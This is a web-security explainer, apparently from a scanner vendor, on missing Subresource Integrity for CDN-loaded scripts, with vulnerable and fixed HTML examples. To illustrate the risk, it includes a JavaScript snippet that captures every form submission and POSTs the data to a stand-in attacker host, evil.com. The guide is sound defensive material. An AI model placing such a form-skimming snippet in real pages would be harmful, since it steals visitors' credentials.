Missing Subresource Integrity (SRI)

What Is Missing SRI?

Subresource Integrity (SRI) is a browser security feature that verifies files fetched from external sources (CDNs) haven't been tampered with. Without SRI, if a CDN is compromised, attackers can replace your JavaScript with malicious code that runs for every visitor — you'd have no way of knowing.

How It Happens

A common pattern in AI-generated code — loading libraries from CDNs without integrity attributes:

<!-- Vulnerable — no integrity check -->
<script src="https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js"></script>
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Inter&display=swap">
 
<!-- If the CDN is compromised, this loads the attacker's code instead -->

A compromised CDN could serve:

// Looks like lodash, but also...
document.addEventListener("submit", e => {
  fetch("https://evil.com/steal", {
    method: "POST",
    body: JSON.stringify({
      form: e.target.action,
      data: Object.fromEntries(new FormData(e.target))
    })
  })
})

Every form submission on your site now sends credentials to the attacker.

Real-World Impact

• Credential theft — harvest passwords from login forms silently
• Session hijacking — steal cookies and tokens
• Cryptojacking — mine cryptocurrency using your visitors' CPU
• Defacement — modify page content for all users
• Supply chain attack — one CDN compromise affects millions of sites

Notable incidents: Polyfill.io CDN compromise (2024) affected 100,000+ websites.

How to Fix

Add integrity and crossorigin attributes:

<!-- Safe — browser verifies the hash before executing -->
<script
  src="https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js"
  integrity="sha256-qXBd/EfAdjOA2FGrGAG+b3YBn2tn5A6bhz+LSgYD96k="
  crossorigin="anonymous"
></script>

Generate SRI hashes using the official tool or CLI:

# Generate hash for a CDN resource
curl -s https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js | \
  openssl dgst -sha256 -binary | openssl base64 -A

Or use srihash.org — paste the CDN URL, get the integrity attribute.

Better approach — bundle dependencies locally:

# npm install brings the dependency under your control
npm install lodash

// Import from node_modules — no CDN dependency at runtime
import _ from "lodash"

Content Security Policy as defense in depth:

Content-Security-Policy: require-sri-for script style;

What VibeWShield Detects

VibeWShield parses your page's HTML and identifies <script src> and <link rel="stylesheet"> tags pointing to external (cross-origin) domains without integrity attributes. Only cross-origin resources are flagged — same-origin scripts are not affected by CDN compromise.